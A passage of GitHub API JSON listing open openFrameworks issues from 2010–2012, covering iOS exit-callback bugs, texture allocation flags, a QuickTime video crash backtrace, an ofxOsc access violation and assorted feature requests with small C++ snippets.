iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 